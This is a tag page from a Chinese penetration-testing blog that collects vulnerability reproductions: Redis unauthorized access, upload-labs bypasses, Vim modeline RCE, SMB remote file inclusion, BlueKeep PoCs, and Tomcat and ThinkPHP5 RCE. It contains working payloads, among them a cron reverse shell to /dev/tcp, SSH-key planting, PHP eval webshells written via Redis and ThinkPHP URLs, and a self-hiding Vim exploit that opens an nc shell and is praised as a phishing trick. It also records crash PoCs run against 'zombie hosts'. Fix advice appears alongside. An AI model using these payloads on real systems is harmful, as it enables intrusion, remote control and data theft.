Tag:渗透测试

Tag (渗透测试)'s result:

redis未授权访问漏洞利用

0x00 基本命令 还有flushall 修改相关配置以重现漏洞 config: redis.windows.conf: bind 0.0.0.0 Protected-mode no redis-server.exe “redis.windows.conf” /* redis持久化存储 dump.rdp文件: RDB可以将某一时刻的所有数据写入硬盘中,通过RDB文件,可以将redis数据恢复到某一历史时刻(snapshots)。   save/bgsave save 900 1 save 300 10 save 60 10000 — AOF会在redis执行写命令时,将被执行的写命令复制到磁盘aof文件中,恢复数据的时候,redis会在原有基础上依次执行AOF文件中的写命令,从而恢复数据。   appendonly yes appendfilename “appendonly.aof” appendfsync everysec */ 0x01 反弹shell 192.168.138.129:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.43.237/7788 0>&1\n” OK 192.168.138.129:6379> config set dir /var/spool/ OK 192.168.138.129:6379> config set dbfilename root OK 192.168.138.129:6379> save 未能成功反弹,原因可能是debian,ubuntu的计划任务的格式很严格,须执行 crontab -u root /var/spool/cron/crontabs/root 通过语法检查才能执行计划任务。 也可能是权限或格式(不能有其他脏字符)问题。 只有centos能成功。   0x02 添加ssh key 或者 cat sshpubkey.txt | redis-cli -h 192.168.138.129 -x set x $ redis-cli -h 192.168.138.129 $ 192.168.138.129:6379> config set dir /root/.ssh/ OK $ 192.168.138.129:6379> config get dir 1) “dir” 2) “/root/.ssh” $ 192.168.138.129:6379> config set dbfilename “authorized_keys” OK $ 192.168.138.129:6379> save OK   0x03 Web目录写webshell 192.168.43.237:6379> config set dir D:\phpStudy\WWW\ OK 192.168.43.237:6379> config set dbfilename redishell.php OK 192.168.43.237:6379> set rs “<?php @eval($_POST[x]);?>” OK 192.168.43.237:6379> save   0x04 防御方案 1. 加密码 redis.conf: requirepass mypassword   2. 本地访问: redis.conf: bind 127.0.0.1   3. 改权限 chmod 400 ~/.ssh/authorized_keys chattr +i ~/.ssh/authorized_keys chattr +i ~/.ssh    

upload-labs攻略(Pass01-20)

0x00 概述 很好的一个练习上传漏洞的项目https://github.com/c0ny1/upload-labs 先来个黑名单 array( “.php”,”.php5″,”.php4″,”.php3″,”.php2″,”php1″, “.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″,”.pHp3″, “.pHp2″,”pHp1″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”, “.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”, “.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”, “.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”, “.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess” );   0x01 安装 kali(linux) docker pull c0ny1/upload-labs docker run -d -p 80:80 c0ny1/upload-labs:latest //点击清空上传文件以创建upload文件夹,手动创建会上传出错! or win7(推荐在win下耍) phpstudy(php5.2.17)+upload-labs:master   0x02 Pass01-20解题方案 Pass01 js客户端绕过,直接burp抓包改php后缀上传即可   Pass02 在服务端对数据包的MIME进行检查 if (($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) || ($_FILES[‘upload_file’][‘type’] == ‘image/png’) || ($_FILES[‘upload_file’][‘type’] == ‘image/gif’)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path = UPLOAD_PATH . ‘/’ . $_FILES[‘upload_file’][‘name’] if (move_uploaded_file($temp_file, $img_path)) { 抓包改mime为image/jpeg即可或直接用Pass01的方法   Pass03 黑名单禁止上传.asp|.aspx|.php|.jsp后缀文件 if (file_exists(UPLOAD_PATH)) { $deny_ext = array(‘.asp’,’.aspx’,’.php’,’.jsp’); $file_name = trim($_FILES[‘upload_file’][‘name’]); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, ‘.’); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空   if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path = UPLOAD_PATH.’/’.date(“YmdHis”).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { 黑名单,用php3/4/5即可,默认不解析php3/phtml;那就覆盖.htaccess,会重命名加上了时间戳;%aa用url解码也失败;conn2.php:jpg(如果成功再发送conn2.<<<就可以覆盖文件,利用windows系统特性)失败;.::$DATA失败; 在mime.type直接添加 application/x-httpd-php          phtml pht php3 php 再上传conn2.php3即可 或者尝试 httpd.conf AddType Application/x-httpd-php .php .php3 .php5 .phtml 再上传conn2.phtml就可以解析了。   Pass04 黑名单禁了一堆后缀。 if (file_exists(UPLOAD_PATH)) { $deny_ext = array(“.php”,”.php5″,”.php4″,”.php3″,”.php2″,”php1″,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″,”.pHp3″,”.pHp2″,”pHp1″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”); $file_name = trim($_FILES[‘upload_file’][‘name’]); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, ‘.’); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空   if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path =……

microsoft notepad和linux vim/neovim的RCE漏洞

0x00 notepad rce 20190528,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本中发现代码执行漏洞。 从他发布的图片看有看出,成功在记事本进程下启动cmd shell。 由于漏洞披露原则,暂未公开具体漏洞细节。   0x01 vim/neovim rce 1周后,20190604,vim也被曝出rce…… 名为Arminius的安全研究员发现vim/neovim的本地任意代码执行漏洞,poc和exp已公开: 影响范围:Vim < 8.1.1365, Neovim < 0.3.6 https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md //建议直接用原作者的poc和exp,复制和修改可能会失败! POC: poc.txt :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”   :set modeline $ vim poc.txt EXP: exp.txt: \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 7766 -e bash &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n //这里用cat还是能看出来一点exp,可能是编辑器或者win7系统的原因 打开即可成功反弹shell,并覆写文件以隐藏,cat exp.txt看不出(加-v可以看出)     0x02 修复方案   vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552 neovim补丁(在v0.3.6中发布) https://github.com/neovim/neovim/pull/10082 https://github.com/neovim/neovim/releases/tag/v0.3.6   在vimrc中禁用modeline(设置nomodeline),使用securemines插件,或禁用modelineexpr(从8.1.1366补丁开始,仅支持vim)以禁用modeline中的表达式。   0x03 结语 钓鱼妙招!   0x04 参考资料 https://mp.weixin.qq.com/s/f4s7x5MciLDFirSNLlBh3Q

利用smb绕过双off进行RFI

0x00 概述 前段时间看到这篇文章,感觉有点意思,特此重现。 0x01 重现 先off 尝试远程包含phpinfo http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=http://192.168.138.129/x.php 搭建smb服务器 apt-get install samba mkdir /var/www/html/pub/ chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/ echo > /etc/samba/smb.conf 写入 [global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes ​ [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody 配置匿名可访问smb service smbd restart 成功包含Phpinfo和一句话木马 http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=\\192.168.138.129\ethan\x.php http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=\\192.168.138.129\ethan\xxxxx.php 0x02 结语 本人未测试外网smb和非windows服务器,根据网上别人的测试,这种方法只对windows php服务器(默认有smb客户端,UNC特性\\)有效,linux服务器可能需要安装smb客户端或者不支持UNC(默认不支持smb);外网smb无效,可能是运营商禁了445,还是有点鸡肋……

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

tomcat rce漏洞重现(cve-2019-0232)

0x00 概述 2019.4,网上曝出出tomcat rce漏洞(cve-2019-0232),该漏洞是由于Tomcat CGI(jre)将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入,本文对此漏洞进行重现。 0x01 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93   0x02 漏洞重现 环境 tomcat 8.5.39/9.0.12+java 8u171 conf/web.xml 注意要去掉注释!!! 第六行web-inf/cgi-bin!!!(默认是web-inf/cgi,涉及访问路径) conf/context.xml Context 添加privileged=”true” 编写bat文件 重现成功! whoami和net user都空白,应该是权限不足。   0x03 结语 好鸡肋的漏洞,不仅要修改默认配置,还要传bat……(理论型漏洞如12615)   0x04 修复方案 升级到v9.0.19(增加了校验命令行参数) 不要乱改配置(除非你知道自己在干嘛……)   0x05 参考资料 https://xz.aliyun.com/t/4875 http://26.wf/?p=375

ES文件浏览器漏洞重现及分析(cve-2019-6447)

0x00 概述 2019年1月,es文件浏览器爆出漏洞,启动时监听了59777端口,并且不关闭,可以接受json数据,攻击者可以构造payload读取手机文件或者远程运行手机程序。 影响范围: <=4.1.9.7.4 利用条件: 需要和受害者在同一网络下,如wifi。 0x01 漏洞重现 环境:雷电模拟器+es4.1.9.4 开启es文件浏览器,发现监听了ipv6 59777端口 启动poc探测 启动微信   0x02 漏洞分析 解包apk 将classes.dex和classes2.dex转为jar再打开 代码经过混淆 根据poc先看看调用的命令在哪里,在classes2.dex2jar.jar中搜索command listFiles命令调用的函数 appLaunch命令调用函数 appPull调用函数 listAppa等列举app的命令调用函数:a(int i) //i==0,1,2,3,4 接着看看开启59777端口的http服务的地方   代码看得挺辛苦,感谢网上各路大神的总结。      

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

记一次突破网站后台

授权目标:某办公系统 目录浏览: Web后台无法爆破 目录浏览发现图片:logo.png,蓝凌oa(其实从前面的scripts/的landary就可以知道了) 搜索历史漏洞,发现移动端登录地址 http://oa.xxx.cn/MobileApp/login.aspx 可爆破 得弱口令(zxcvbnm)进入移动端后台 刷新web端即可同时进入web端后台 getshell就是常规操作了,蓝凌oa一般都是数据库最高权限连接。 结语: 1. 遇到一些web无法爆破的网站,可尝试寻找移动端登录口进行爆破,移动端的防护可能相对较弱。 2. 不要忽略小问题,千里之堤溃于蚁穴。 3. 有时候技术含量不需要很高,重要的是细心和耐心。

关于sqlmap的两个小坑

0x00 概述 近日在利用sqlmap注入测试时遇到一个奇怪的现象,高版本sqlmap无法检测出注入,但是低版本的可以测出注入,并且能跑出数据不是误报,经过对比测试和查看sqlmap源码,发现两个小坑。   0x01 情景重现 注入点形式:json ……”whereparams”:[{“name”:”keyWord”,”value”:”test”}]} 可注入参数:value sqlmap命令: python sqlmap.py -r sqlpk.txt –flush-session -vv sqlmap v1.2.11无法注入 sqlmap v1.2成功注入 同理v1.2.10无法注入,v1.1.12可以注入 经过分析,两坑如下: (1)v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。 (2)v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。   0x02 详细测试 坑点(1): 先了解sqlmap的payload组成: //图片来源https://www.freebuf.com/column/161797.html 看看v1.2的测试payload: 使用了payload:%‘ and 5731=5731 and ‘%’=’ 这是挺常见的搜索框注入 看看V1.2的boundaries.xml: 而v1.2.11的boundaries.xml没有对模糊查询的注入测试! https://github.com/sqlmapproject/sqlmap/blob/master/xml/boundaries.xml 于是添加模糊查询的注入测试到v1.2.11的该文件中,并手动添加*到注入参数(如value),即可成功注入! 附上添加后的版本: https://github.com/theLSA/sqlmap/tree/dev pr得到答复是因为误报太多所以移除了相关payload,但是会有限的恢复。 https://github.com/sqlmapproject/sqlmap/pull/3372   坑点(2): 对比v1.2和v1.2.11的payload: 可以看出直接将payload接在json末尾了。 在注入参数value手动添加* %22whereparams%22%3A%5B%7B%22name%22%3A%22keyWord%22%2C%22value%22%3A%22*%22%7D%5D%7D 即可成功注入!   0x03 结语 1. 个人建议添加模糊查询的测试payload,误报还是好过漏报,况且是很常见的模糊查询注入。 2. 遇到json参数尽量加手动*(针对某些版本的sqlmap)。 3. 利用sqlmap测试的时候建议加上-vv。